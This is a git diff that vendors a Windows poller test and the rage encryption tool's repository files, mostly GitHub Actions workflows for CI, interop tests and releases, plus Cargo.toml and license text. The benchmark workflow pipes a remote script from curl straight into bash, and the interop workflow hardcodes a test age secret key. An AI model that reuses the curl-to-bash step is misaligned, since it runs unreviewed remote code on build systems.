RawHandle}; +use std::os::windows::prelude::{AsHandle, BorrowedHandle}; +use std::time::Duration; + +/// A basic wrapper around the Windows event object. +struct EventHandle(RawHandle); + +impl Drop for EventHandle { + fn drop(&mut self) { + unsafe { + CloseHandle(self.0 as _); + } + } +} + +impl EventHandle { + fn new(manual_reset: bool) -> io::Result { + let handle = unsafe { + CreateEventW( + std::ptr::null_mut(), + manual_reset as _, + false as _, + std::ptr::null(), + ) + }; + + if handle.is_null() { + Err(io::Error::last_os_error()) + } else { + Ok(Self(handle as _)) + } + } + + /// Reset the event object. + fn reset(&self) -> io::Result<()> { + if unsafe { ResetEvent(self.0 as _) } != 0 { + Ok(()) + } else { + Err(io::Error::last_os_error()) + } + } + + /// Set the event object. + fn set(&self) -> io::Result<()> { + if unsafe { SetEvent(self.0 as _) } != 0 { + Ok(()) + } else { + Err(io::Error::last_os_error()) + } + } +} + +impl AsRawHandle for EventHandle { + fn as_raw_handle(&self) -> RawHandle { + self.0 + } +} + +impl AsHandle for EventHandle { + fn as_handle(&self) -> BorrowedHandle<'_> { + unsafe { BorrowedHandle::borrow_raw(self.0) } + } +} + +#[test] +fn smoke() { + let poller = Poller::new().unwrap(); + + let event = EventHandle::new(true).unwrap(); + + unsafe { + poller + .add_waitable(&event, Event::all(0), PollMode::Oneshot) + .unwrap(); + } + + let mut events = Events::new(); + poller + .wait(&mut events, Some(Duration::from_millis(100))) + .unwrap(); + + assert!(events.is_empty()); + + // Signal the event. + event.set().unwrap(); + + poller + .wait(&mut events, Some(Duration::from_millis(100))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!(events.iter().next().unwrap().with_no_extra(), Event::all(0)); + + // Interest should be cleared. + events.clear(); + poller + .wait(&mut events, Some(Duration::from_millis(100))) + .unwrap(); + + assert!(events.is_empty()); + + // If we modify the waitable, it should be added again. + poller + .modify_waitable(&event, Event::all(0), PollMode::Oneshot) + .unwrap(); + + events.clear(); + poller + .wait(&mut events, Some(Duration::from_millis(100))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!(events.iter().next().unwrap().with_no_extra(), Event::all(0)); + + // If we reset the event, it should not be signaled. + event.reset().unwrap(); + poller + .modify_waitable(&event, Event::all(0), PollMode::Oneshot) + .unwrap(); + + events.clear(); + poller + .wait(&mut events, Some(Duration::from_millis(100))) + .unwrap(); + + assert!(events.is_empty()); +} diff --git a/lib/rage/.gitattributes b/lib/rage/.gitattributes new file mode 100644 index 0000000..d7bbaf1 --- /dev/null +++ b/lib/rage/.gitattributes @@ -0,0 +1,2 @@ +*.age binary +age/tests/testdata/testkit/* binary diff --git a/lib/rage/.github/ISSUE_TEMPLATE/bug-report.md b/lib/rage/.github/ISSUE_TEMPLATE/bug-report.md new file mode 100644 index 0000000..195424e --- /dev/null +++ b/lib/rage/.github/ISSUE_TEMPLATE/bug-report.md @@ -0,0 +1,21 @@ +--- +name: Bug report +about: Create a report about a bug in this implementation. +title: '' +labels: '' +assignees: '' + +--- + +## Environment + +* OS: +* rage version: + +## What were you trying to do + +## What happened + +``` + +``` diff --git a/lib/rage/.github/ISSUE_TEMPLATE/ux-report.md b/lib/rage/.github/ISSUE_TEMPLATE/ux-report.md new file mode 100644 index 0000000..0e7aa70 --- /dev/null +++ b/lib/rage/.github/ISSUE_TEMPLATE/ux-report.md @@ -0,0 +1,21 @@ +--- +name: UX report +about: Was rage hard to use? It's not you, it's us. We want to hear about it. +title: 'UX: ' +labels: 'UX report' +assignees: '' + +--- + + + +## What were you trying to do + +## What happened + +``` + +``` diff --git a/lib/rage/.github/dependabot.yml b/lib/rage/.github/dependabot.yml new file mode 100644 index 0000000..a3014a1 --- /dev/null +++ b/lib/rage/.github/dependabot.yml @@ -0,0 +1,12 @@ +version: 2 +updates: + - package-ecosystem: github-actions + directory: "/" + schedule: + interval: daily + timezone: Etc/UTC + open-pull-requests-limit: 10 + reviewers: + - str4d + assignees: + - str4d diff --git a/lib/rage/.github/workflows/audit.yml b/lib/rage/.github/workflows/audit.yml new file mode 100644 index 0000000..41530c4 --- /dev/null +++ b/lib/rage/.github/workflows/audit.yml @@ -0,0 +1,18 @@ +name: Security audit + +on: + schedule: + - cron: '0 0 * * *' + +jobs: + audit: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions-rs/install@v0.1 + with: + crate: cargo-audit + # use-tool-cache: true + - uses: actions-rs/audit-check@v1 + with: + token: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/rage/.github/workflows/audits.yml b/lib/rage/.github/workflows/audits.yml new file mode 100644 index 0000000..d7ed1d5 --- /dev/null +++ b/lib/rage/.github/workflows/audits.yml @@ -0,0 +1,19 @@ +name: Audits + +on: [push, pull_request] + +permissions: + contents: read + +jobs: + cargo-vet: + name: Vet Rust dependencies + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: dtolnay/rust-toolchain@stable + id: toolchain + - run: rustup override set ${{steps.toolchain.outputs.name}} + - name: Install cargo-vet + run: cargo install cargo-vet + - run: cargo vet --locked diff --git a/lib/rage/.github/workflows/ci.yml b/lib/rage/.github/workflows/ci.yml new file mode 100644 index 0000000..3d92bfd --- /dev/null +++ b/lib/rage/.github/workflows/ci.yml @@ -0,0 +1,115 @@ +name: CI checks + +on: [push, pull_request] + +jobs: + test: + name: Test on ${{ matrix.os }} + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, windows-latest, macOS-latest] + + steps: + - uses: actions/checkout@v4 + - name: Run tests + run: > + cargo test + --workspace + --features ' + armor + async + cli-common + plugin + ssh + unstable + ' + - name: Verify working directory is clean + run: git diff --exit-code + + build: + name: Build target ${{ matrix.target }} + runs-on: ubuntu-latest + strategy: + matrix: + target: + - wasm32-wasi + + steps: + - uses: actions/checkout@v4 + - name: Add target + run: rustup target add ${{ matrix.target }} + - run: cargo fetch + - name: Build for target + working-directory: ./age + run: cargo build --verbose --no-default-features --target ${{ matrix.target }} + + bitrot: + name: Bitrot + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install linux build dependencies + run: sudo apt update && sudo apt install libfuse-dev + - run: cargo check --all-targets --all-features + + clippy: + name: Clippy (MSRV) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install linux build dependencies + run: sudo apt update && sudo apt install libfuse-dev + - name: Clippy check + uses: actions-rs/clippy-check@v1 + with: + name: Clippy (MSRV) + token: ${{ secrets.GITHUB_TOKEN }} + args: --all-features --all-targets -- -D warnings + + codecov: + name: Code coverage + runs-on: ubuntu-latest + container: + image: xd009642/tarpaulin:develop-nightly + options: --security-opt seccomp=unconfined + + steps: + - uses: actions/checkout@v4 + - uses: dtolnay/rust-toolchain@stable + id: toolchain + - run: rustup override set ${{steps.toolchain.outputs.name}} + - name: Install linux build dependencies + run: apt update && apt -y install libfuse-dev + - name: Generate coverage report + run: > + cargo tarpaulin + --engine llvm + --workspace + --release + --all-features + --timeout 180 + --out xml + - name: Upload coverage to Codecov + uses: codecov/codecov-action@v4.6.0 + with: + fail_ci_if_error: true + token: ${{ secrets.CODECOV_TOKEN }} + + doc-links: + name: Intra-doc links + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - run: cargo fetch + # Requires #![deny(rustdoc::broken_intra_doc_links)] in crates. + - name: Check intra-doc links + run: cargo doc --all --exclude rage --all-features --document-private-items + + fmt: + name: Rustfmt + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Check formatting + run: cargo fmt --all -- --check diff --git a/lib/rage/.github/workflows/criterion.yml b/lib/rage/.github/workflows/criterion.yml new file mode 100644 index 0000000..87a21bc --- /dev/null +++ b/lib/rage/.github/workflows/criterion.yml @@ -0,0 +1,27 @@ +name: Benchmarks + +on: + push: + branches: [ master ] + pull_request: + branches: [ master ] + +env: + CARGO_TERM_COLOR: always + +jobs: + build: + name: Run benchmarks + runs-on: ubuntu-latest + env: + CRITERION_TOKEN: ${{ secrets.CRITERION_TOKEN }} + steps: + - uses: actions/checkout@v4 + - name: Run benchmarks + run: | + # run benchmarks and save baseline to "criterion.dev.temp" + cargo bench -- --verbose --noplot + - name: Upload benchmarks + run: | + # upload the file + bash <(curl -s https://criterion.dev/bash) diff --git a/lib/rage/.github/workflows/interop.yml b/lib/rage/.github/workflows/interop.yml new file mode 100644 index 0000000..24b6e81 --- /dev/null +++ b/lib/rage/.github/workflows/interop.yml @@ -0,0 +1,251 @@ +name: Interoperability tests + +on: [push, repository_dispatch] + +jobs: + build-rage: + name: Build rage + runs-on: ubuntu-latest + + steps: + - name: Create FiloSottile/age status + if: always() && github.event.action == 'age-interop-request' + run: | + curl -X POST https://api.github.com/repos/FiloSottile/age/statuses/${{ github.event.client_payload.sha }} \ + -H 'Accept: application/vnd.github.everest-preview+json' \ + -H 'Authorization: token ${{ secrets.AGE_STATUS_ACCESS_TOKEN }}' \ + --data '{"state": "pending", "target_url": "https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}", "description": "In progress", "context": "Interoperability tests / Build rage"}' + + - uses: actions/checkout@v4 + - name: cargo build + run: cargo build --release --features unstable + working-directory: ./rage + - uses: actions/upload-artifact@v4 + with: + name: rage + path: | + target/release/rage + target/release/rage-keygen + + - name: Update FiloSottile/age status with result + if: always() && github.event.action == 'age-interop-request' + run: | + curl -X POST https://api.github.com/repos/FiloSottile/age/statuses/${{ github.event.client_payload.sha }} \ + -H 'Accept: application/vnd.github.everest-preview+json' \ + -H 'Authorization: token ${{ secrets.AGE_STATUS_ACCESS_TOKEN }}' \ + --data '{"state": "${{ job.status }}", "target_url": "https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}", "description": "Finished", "context": "Interoperability tests / Build rage"}' + + build-age: + name: Build age + runs-on: ubuntu-latest + + steps: + - name: Create FiloSottile/age status + if: always() && github.event.action == 'age-interop-request' + run: | + curl -X POST https://api.github.com/repos/FiloSottile/age/statuses/${{ github.event.client_payload.sha }} \ + -H 'Accept: application/vnd.github.everest-preview+json' \ + -H 'Authorization: token ${{ secrets.AGE_STATUS_ACCESS_TOKEN }}' \ + --data '{"state": "pending", "target_url": "https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}", "description": "In progress", "context": "Interoperability tests / Build age"}' + + - name: Set up Go 1.19 + uses: actions/setup-go@v5 + with: + go-version: 1.19 + id: go + + - name: Use specified FiloSottile/age commit + if: github.event.action == 'age-interop-request' + run: echo "AGE_REF=${{ github.event.client_payload.sha }}" >> $GITHUB_ENV + - name: Use FiloSottile/age current main + if: github.event.action != 'age-interop-request' + run: echo "AGE_REF=refs/heads/main" >> $GITHUB_ENV + + - name: Check out FiloSottile/age + uses: actions/checkout@v4 + with: + repository: FiloSottile/age + ref: ${{ env.AGE_REF }} + path: go-age/age + - name: go build + run: | + cd $GITHUB_WORKSPACE/go-age/age + go build filippo.io/age/cmd/age + go build filippo.io/age/cmd/age-keygen + - uses: actions/upload-artifact@v4 + with: + name: age + path: | + go-age/age/age + go-age/age/age-keygen + + - name: Update FiloSottile/age status with result + if: always() && github.event.action == 'age-interop-request' + run: | + curl -X POST https://api.github.com/repos/FiloSottile/age/statuses/${{ github.event.client_payload.sha }} \ + -H 'Accept: application/vnd.github.everest-preview+json' \ + -H 'Authorization: token ${{ secrets.AGE_STATUS_ACCESS_TOKEN }}' \ + --data '{"state": "${{ job.status }}", "target_url": "https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}", "description": "Finished", "context": "Interoperability tests / Build age"}' + + test: + name: ${{ matrix.alice }} -> ${{ matrix.bob }} [${{ matrix.recipient }}] + runs-on: ubuntu-latest + needs: [build-rage, build-age] + strategy: + matrix: + alice: [rage, age] + bob: [rage, age] + recipient: [x25519, ssh-rsa, ssh-ed25519] + fail-fast: false + + steps: + - name: Create FiloSottile/age status + if: always() && github.event.action == 'age-interop-request' + run: | + curl -X POST https://api.github.com/repos/FiloSottile/age/statuses/${{ github.event.client_payload.sha }} \ + -H 'Accept: application/vnd.github.everest-preview+json' \ + -H 'Authorization: token ${{ secrets.AGE_STATUS_ACCESS_TOKEN }}' \ + --data '{"state": "pending", "target_url": "https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}", "description": "In progress", "context": "Interoperability tests / ${{ matrix.alice }} -> ${{ matrix.bob }} [${{ matrix.recipient }}]"}' + + # Download the binaries to test + - uses: actions/download-artifact@v4 + with: + name: rage + - uses: actions/download-artifact@v4 + with: + name: age + - run: chmod +x rage + - run: chmod +x rage-keygen + - run: chmod +x age + - run: chmod +x age-keygen + + # Prepare the test environment + - name: Install dos2unix for simulating Windows files + run: sudo apt update && sudo apt install dos2unix + - name: Write (very not private) age X25519 key + if: matrix.recipient == 'x25519' + run: echo "AGE-SECRET-KEY-1TRYTV7PQS5XPUYSTAQZCD7DQCWC7Q77YJD7UVFJRMW4J82Q6930QS70MRX" >key.txt + - name: Save the corresponding age x25519 recipient + if: matrix.recipient == 'x25519' + run: echo "age1y8m84r6pwd4da5d45zzk03rlgv2xr7fn9px80suw3psrahul44ashl0usm" >key.txt.pub + - name: Set the corresponding age x25519 recipient + if: matrix.recipient == 'x25519' + run: echo "AGE_PUBKEY=-r age1y8m84r6pwd4da5d45zzk03rlgv2xr7fn9px80suw3psrahul44ashl0usm" >> $GITHUB_ENV + - name: Generate an ssh-rsa key + if: matrix.recipient == 'ssh-rsa' + run: ssh-keygen -t rsa -N "" -f key.txt + - name: Generate an ssh-ed25519 key + if: matrix.recipient == 'ssh-ed25519' + run: ssh-keygen -t ed25519 -N "" -f key.txt + - name: Set the corresponding SSH recipient + if: matrix.recipient == 'ssh-rsa' || matrix.recipient == 'ssh-ed25519' + run: echo "AGE_PUBKEY=-R key.txt.pub" >> $GITHUB_ENV + - name: Store key.txt in case we need it + uses: actions/upload-artifact@v4 + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_key.txt + path: key.txt + + # Tests! + - name: Encrypt to file + run: echo "Test string" | ./${{ matrix.alice }} -o test.age $AGE_PUBKEY + - name: Decrypt from file + run: ./${{ matrix.bob }} -d -i key.txt test.age | grep -q "^Test string$" + - name: Store test.age + uses: actions/upload-artifact@v4 + if: failure() + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_test.age + path: test.age + + - name: Generate a file to encrypt + run: echo "2 test 2 string" > test2.txt + - name: Encrypt to ASCII-armored file + run: ./${{ matrix.alice }} -a -o test2.age $AGE_PUBKEY test2.txt + - name: Decrypt from ASCII-armored file + run: ./${{ matrix.bob }} -d -i key.txt test2.age | grep -q "^2 test 2 string$" + - name: Store test2.age + uses: actions/upload-artifact@v4 + if: failure() + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_test2.age + path: test2.age + + - name: Convert file to CRLF + run: unix2dos test2.age + - name: Decrypt from ASCII-armored CRLF file + run: ./${{ matrix.bob }} -d -i key.txt test2.age | grep -q "^2 test 2 string$" + - name: Store CRLF-ed test2.age + uses: actions/upload-artifact@v4 + if: failure() + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_test2.age + path: test2.age + + - name: Pipes! + run: echo "Test string 3 - ASCII Drift" | ./${{ matrix.alice }} $AGE_PUBKEY | tee --output-error=warn test3.age | ./${{ matrix.bob }} -d -i key.txt | grep -q "^Test string 3 - ASCII Drift$" + - name: Store test3.age + uses: actions/upload-artifact@v4 + if: failure() + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_test3.age + path: test3.age + + - name: Explicit stdout during encryption + run: ./${{ matrix.alice }} -a -o - $AGE_PUBKEY test2.txt >test4.age + - name: Explicit stdin during decryption + run: cat test4.age | ./${{ matrix.bob }} -d -i key.txt - | grep -q "^2 test 2 string$" + - name: Store test4.age + uses: actions/upload-artifact@v4 + if: failure() + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_test4.age + path: test4.age + + - name: Generate a file to encrypt + run: echo "Test 5" > test5.txt + - name: Encrypt to identity in a named pipe + run: ./${{ matrix.alice }} -e -i <(cat key.txt) -o test5.age test5.txt + - name: Decrypt with identity in a named pipe + run: ./${{ matrix.bob }} -d -i <(cat key.txt) test5.age | grep -q "^Test 5$" + - name: Store test5.age + uses: actions/upload-artifact@v4 + if: failure() + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_test5.age + path: test5.age + + - name: Encrypt to recipient in standard input + run: cat key.txt.pub | ./${{ matrix.alice }} -e -R - -o test6.age test5.txt + - name: Decrypt with identity in standard input + run: cat key.txt | ./${{ matrix.bob }} -d -i - test6.age | grep -q "^Test 5$" + - name: Store test6.age + uses: actions/upload-artifact@v4 + if: failure() + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_test6.age + path: test6.age + + - name: Keygen prevents overwriting an existing file + run: | + touch do_not_overwrite_key.txt + if $(./${{ matrix.alice }}-keygen -o do_not_overwrite_key.txt); then + false + else + true + fi + + - name: Keygen supports conversion from stdin + run: ./${{ matrix.alice }}-keygen | ./${{ matrix.bob }}-keygen -y + + - name: Keygen supports conversion from file + if: matrix.recipient == 'x25519' + run: ./${{ matrix.alice }}-keygen -y key.txt + + - name: Update FiloSottile/age status with result + if: always() && github.event.action == 'age-interop-request' + run: | + curl -X POST https://api.github.com/repos/FiloSottile/age/statuses/${{ github.event.client_payload.sha }} \ + -H 'Accept: application/vnd.github.everest-preview+json' \ + -H 'Authorization: token ${{ secrets.AGE_STATUS_ACCESS_TOKEN }}' \ + --data '{"state": "${{ job.status }}", "target_url": "https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}", "description": "Finished", "context": "Interoperability tests / ${{ matrix.alice }} -> ${{ matrix.bob }} [${{ matrix.recipient }}]"}' diff --git a/lib/rage/.github/workflows/release.yml b/lib/rage/.github/workflows/release.yml new file mode 100644 index 0000000..d898e4f --- /dev/null +++ b/lib/rage/.github/workflows/release.yml @@ -0,0 +1,359 @@ +name: Publish release binaries + +on: + push: + tags: + - 'v*' + workflow_dispatch: + inputs: + test: + description: 'Testing the release workflow' + required: true + default: 'true' + +permissions: + attestations: write + contents: write + id-token: write + +jobs: + build: + name: Publish for ${{ matrix.name }} + runs-on: ${{ matrix.os }} + strategy: + matrix: + name: + - linux + - armv7 + - arm64 + - windows + - macos-arm64 + - macos-x86_64 + + include: + - name: linux + os: ubuntu-20.04 + build_deps: > + libfuse-dev + build_flags: --features mount + archive_name: rage.tar.gz + asset_suffix: x86_64-linux.tar.gz + + - name: armv7 + os: ubuntu-20.04 + target: armv7-unknown-linux-gnueabihf + build_deps: > + gcc-arm-linux-gnueabihf + cargo_config: | + [target.armv7-unknown-linux-gnueabihf] + linker = "arm-linux-gnueabihf-gcc" + build_flags: --target armv7-unknown-linux-gnueabihf + archive_name: rage.tar.gz + asset_suffix: armv7-linux.tar.gz + + - name: arm64 + os: ubuntu-20.04 + target: aarch64-unknown-linux-gnu + build_deps: > + gcc-aarch64-linux-gnu + cargo_config: | + [target.aarch64-unknown-linux-gnu] + linker = "aarch64-linux-gnu-gcc" + build_flags: --target aarch64-unknown-linux-gnu + archive_name: rage.tar.gz + asset_suffix: arm64-linux.tar.gz + + - name: windows + os: windows-latest + archive_name: rage.zip + asset_suffix: x86_64-windows.zip + + - name: macos-arm64 + os: macos-latest + archive_name: rage.tar.gz + asset_suffix: arm64-darwin.tar.gz + + - name: macos-x86_64 + os: macos-13 + archive_name: rage.tar.gz + asset_suffix: x86_64-darwin.tar.gz + + steps: + - uses: actions/checkout@v4 + - uses: dtolnay/rust-toolchain@stable + id: toolchain + with: + targets: ${{ matrix.target }} + - run: rustup override set ${{steps.toolchain.outputs.name}} + + - name: Install linux build dependencies + run: sudo apt update && sudo apt install ${{ matrix.build_deps }} + if: matrix.build_deps != '' + + - name: Set up .cargo/config + run: | + mkdir .cargo + echo '${{ matrix.cargo_config }}' >.cargo/config + if: matrix.cargo_config != '' + + - name: cargo build + run: cargo build --release --locked ${{ matrix.build_flags }} + working-directory: ./rage + + - name: Create archive + run: | + mkdir -p release/rage + mv target/${{ matrix.target }}/release/rage* release/rage/ + rm release/rage/*.d + tar czf ${{ matrix.archive_name }} -C release/ rage/ + if: matrix.name != 'windows' + + - name: Create archive [Windows] + run: | + mkdir -p release/rage + mv target/release/rage.exe release/rage/ + mv target/release/rage-keygen.exe release/rage/ + cd release/ + 7z.exe a ../${{ matrix.archive_name }} rage/ + shell: bash + if: matrix.name == 'windows' + + - name: Generate artifact attestation + uses: actions/attest-build-provenance@v1 + with: + subject-path: 'release/rage/*' + + - name: Upload archive as artifact + uses: actions/upload-artifact@v4 + with: + name: rage-${{ matrix.asset_suffix }} + path: ${{ matrix.archive_name }} + if: github.event.inputs.test == 'true' + + - name: Upload archive to release + uses: svenstaro/upload-release-action@2.9.0 + with: + repo_token: ${{ secrets.GITHUB_TOKEN }} + file: ${{ matrix.archive_name }} + asset_name: rage-$tag-${{ matrix.asset_suffix }} + tag: ${{ github.ref }} + prerelease: true + if: github.event.inputs.test != 'true' + + test: + name: Test rage-${{ matrix.asset_suffix }} on ${{ matrix.os }} + needs: build + if: github.event.inputs.test == 'true' + runs-on: ${{ matrix.os }} + + strategy: + matrix: + os: + - ubuntu-20.04 + - ubuntu-22.04 + - ubuntu-24.04 + - windows-2019 + - windows-2022 + - macos-12 + - macos-13 + - macos-14 + + include: + - os: ubuntu-20.04 + name: linux + archive_name: rage.tar.gz + asset_suffix: x86_64-linux.tar.gz + + - os: ubuntu-22.04 + name: linux + archive_name: rage.tar.gz + asset_suffix: x86_64-linux.tar.gz + + - os: ubuntu-24.04 + name: linux + archive_name: rage.tar.gz + asset_suffix: x86_64-linux.tar.gz + + - os: windows-2019 + name: windows + archive_name: rage.zip + asset_suffix: x86_64-windows.zip + + - os: windows-2022 + name: windows + archive_name: rage.zip + asset_suffix: x86_64-windows.zip + + - os: macos-12 + name: macos + archive_name: rage.tar.gz + asset_suffix: x86_64-darwin.tar.gz + + - os: macos-13 + name: macos + archive_name: rage.tar.gz + asset_suffix: x86_64-darwin.tar.gz + + - os: macos-14 + name: macos + archive_name: rage.tar.gz + asset_suffix: arm64-darwin.tar.gz + + steps: + - name: Download archive + uses: actions/download-artifact@v4 + with: + name: rage-${{ matrix.asset_suffix }} + + - name: Extract archive + run: tar xzf ${{ matrix.archive_name }} + if: matrix.name != 'windows' + + - name: Extract archive [Windows] + run: 7z.exe x ${{ matrix.archive_name }} + shell: bash + if: matrix.name == 'windows' + + - name: Test key generation + run: ./rage/rage-keygen -o key.txt + - name: Test encryption + run: | + echo "Hello World!" > test.txt + ./rage/rage -e -i key.txt -o test.txt.age test.txt + - name: Test decryption + run: ./rage/rage -d -i key.txt test.txt.age + + deb: + name: Debian ${{ matrix.name }} + runs-on: ubuntu-20.04 + strategy: + matrix: + name: [linux, linux-musl, armv7, armv7-musl, arm64, arm64-musl] + include: + - name: linux + target: x86_64-unknown-linux-gnu + build_deps: > + libfuse-dev + build_flags: --features mount + + - name: linux-musl + target: x86_64-unknown-linux-musl + build_deps: > + musl-tools + deb_flags: --variant=musl + + - name: armv7 + target: armv7-unknown-linux-gnueabihf + build_deps: > + gcc-arm-linux-gnueabihf + cargo_config: | + [target.armv7-unknown-linux-gnueabihf] + linker = "arm-linux-gnueabihf-gcc" + + - name: armv7-musl + target: armv7-unknown-linux-musleabihf + build_deps: > + gcc-arm-linux-gnueabihf + musl-tools + cargo_config: | + [target.armv7-unknown-linux-musleabihf] + linker = "arm-linux-gnueabihf-gcc" + deb_flags: --variant=musl + + - name: arm64 + target: aarch64-unknown-linux-gnu + build_deps: > + gcc-aarch64-linux-gnu + cargo_config: | + [target.aarch64-unknown-linux-gnu] + linker = "aarch64-linux-gnu-gcc" + + - name: arm64-musl + target: aarch64-unknown-linux-musl + build_deps: > + gcc-aarch64-linux-gnu + musl-tools + cargo_config: | + [target.aarch64-unknown-linux-musl] + linker = "aarch64-linux-gnu-gcc" + deb_flags: --variant=musl + + steps: + - uses: actions/checkout@v4 + - uses: dtolnay/rust-toolchain@stable + id: toolchain + with: + targets: ${{ matrix.target }} + - run: rustup override set ${{steps.toolchain.outputs.name}} + - name: cargo install cargo-deb + run: cargo install cargo-deb + + - name: Install build dependencies + run: sudo apt update && sudo apt install ${{ matrix.build_deps }} + if: matrix.build_deps != '' + + - name: Set up .cargo/config + run: | + mkdir .cargo + echo '${{ matrix.cargo_config }}' >.cargo/config + if: matrix.cargo_config != '' + + - name: cargo build + run: cargo build --release --locked --target ${{ matrix.target }} ${{ matrix.build_flags }} + working-directory: ./rage + + - name: Update Debian package config for cross-compile + run: sed -i '/\/_\?rage-mount/d' rage/Cargo.toml + if: matrix.name != 'linux' + + - name: cargo deb + run: cargo deb --package rage --no-build --target ${{ matrix.target }} ${{ matrix.deb_flags }} + + - name: Generate artifact attestation + uses: actions/attest-build-provenance@v1 + with: + subject-path: 'target/${{ matrix.target }}/debian/*.deb' + + - name: Upload Debian package as artifact + uses: actions/upload-artifact@v4 + with: + name: rage-${{ matrix.name }}.deb + path: target/${{ matrix.target }}/debian/*.deb + if: github.event.inputs.test == 'true' + + - name: Upload Debian package to release + uses: svenstaro/upload-release-action@2.9.0 + with: + repo_token: ${{ secrets.GITHUB_TOKEN }} + file: target/${{ matrix.target }}/debian/*.deb + tag: ${{ github.ref }} + file_glob: true + prerelease: true + if: github.event.inputs.test != 'true' + + test-deb: + name: Test rage-${{ matrix.variant }}.deb on ${{ matrix.os }} + needs: deb + if: github.event.inputs.test == 'true' + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-20.04, ubuntu-22.04] + variant: [linux, linux-musl] + + steps: + - name: Download Debian package artifact + uses: actions/download-artifact@v4 + with: + name: rage-${{ matrix.variant }}.deb + - name: Install Debian package + run: sudo apt install ./rage*.deb + + - name: Test key generation + run: rage-keygen -o key.txt + - name: Test encryption + run: | + echo "Hello World!" > test.txt + rage -e -i key.txt -o test.txt.age test.txt + - name: Test decryption + run: rage -d -i key.txt test.txt.age diff --git a/lib/rage/.gitignore b/lib/rage/.gitignore new file mode 100644 index 0000000..8e01a31 --- /dev/null +++ b/lib/rage/.gitignore @@ -0,0 +1,5 @@ +# CLion IDE +.idea + +/target +**/*.rs.bk diff --git a/lib/rage/Cargo.toml b/lib/rage/Cargo.toml new file mode 100644 index 0000000..fe8e5a4 --- /dev/null +++ b/lib/rage/Cargo.toml @@ -0,0 +1,67 @@ +[workspace] +members = [ + "age", + "age-core", + "age-plugin", + "rage", +] +resolver = "2" + +[workspace.package] +authors = ["Jack Grigg "] +edition = "2021" +rust-version = "1.65" +repository = "https://github.com/str4d/rage" +license = "MIT OR Apache-2.0" + +[workspace.dependencies] +age = { version = "0.11.1", path = "age" } +age-core = { version = "0.11.0", path = "age-core" } + +# Dependencies required by the age specification: +# - Base64 from RFC 4648 +base64 = "0.21" + +# - ChaCha20-Poly1305 from RFC 7539 +chacha20poly1305 = { version = "0.10", default-features = false, features = ["alloc"] } + +# - X25519 from RFC 7748 +x25519-dalek = { git = "https://github.com/dalek-cryptography/curve25519-dalek", tag = "curve25519-4.2.0", features = ["static_secrets"]} + +# - HKDF from RFC 5869 with SHA-256 +# - HMAC from RFC 2104 with SHA-256 +hkdf = "0.12" +hmac = "0.12" +sha2 = "0.10" + +# - scrypt from RFC 7914 +scrypt = { version = "0.11", default-features = false } + +# - CSPRNG +rand = "0.8" + +# - Key encoding +bech32 = "0.9" + +# Parsing +cookie-factory = "0.3.1" +nom = { version = "7", default-features = false, features = ["alloc"] } + +# Secret management +pinentry = "0.6" +secrecy = "0.10" +subtle = "2" +zeroize = "1" + +# Localization +i18n-embed = { version = "0.15", features = ["fluent-system"] } +i18n-embed-fl = "0.9" +lazy_static = "1" +rust-embed = "8" + +# CLI +chrono = "0.4" +clap = { version = "4.3", features = ["derive"] } +console = { version = "0.15", default-features = false } +env_logger = "0.10" +log = "0.4" diff --git a/lib/rage/LICENSE-APACHE b/lib/rage/LICENSE-APACHE new file mode 100644 index 0000000..1e5006d --- /dev/null +++ b/lib/rage/LICENSE-APACHE @@ -0,0 +1,202 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the 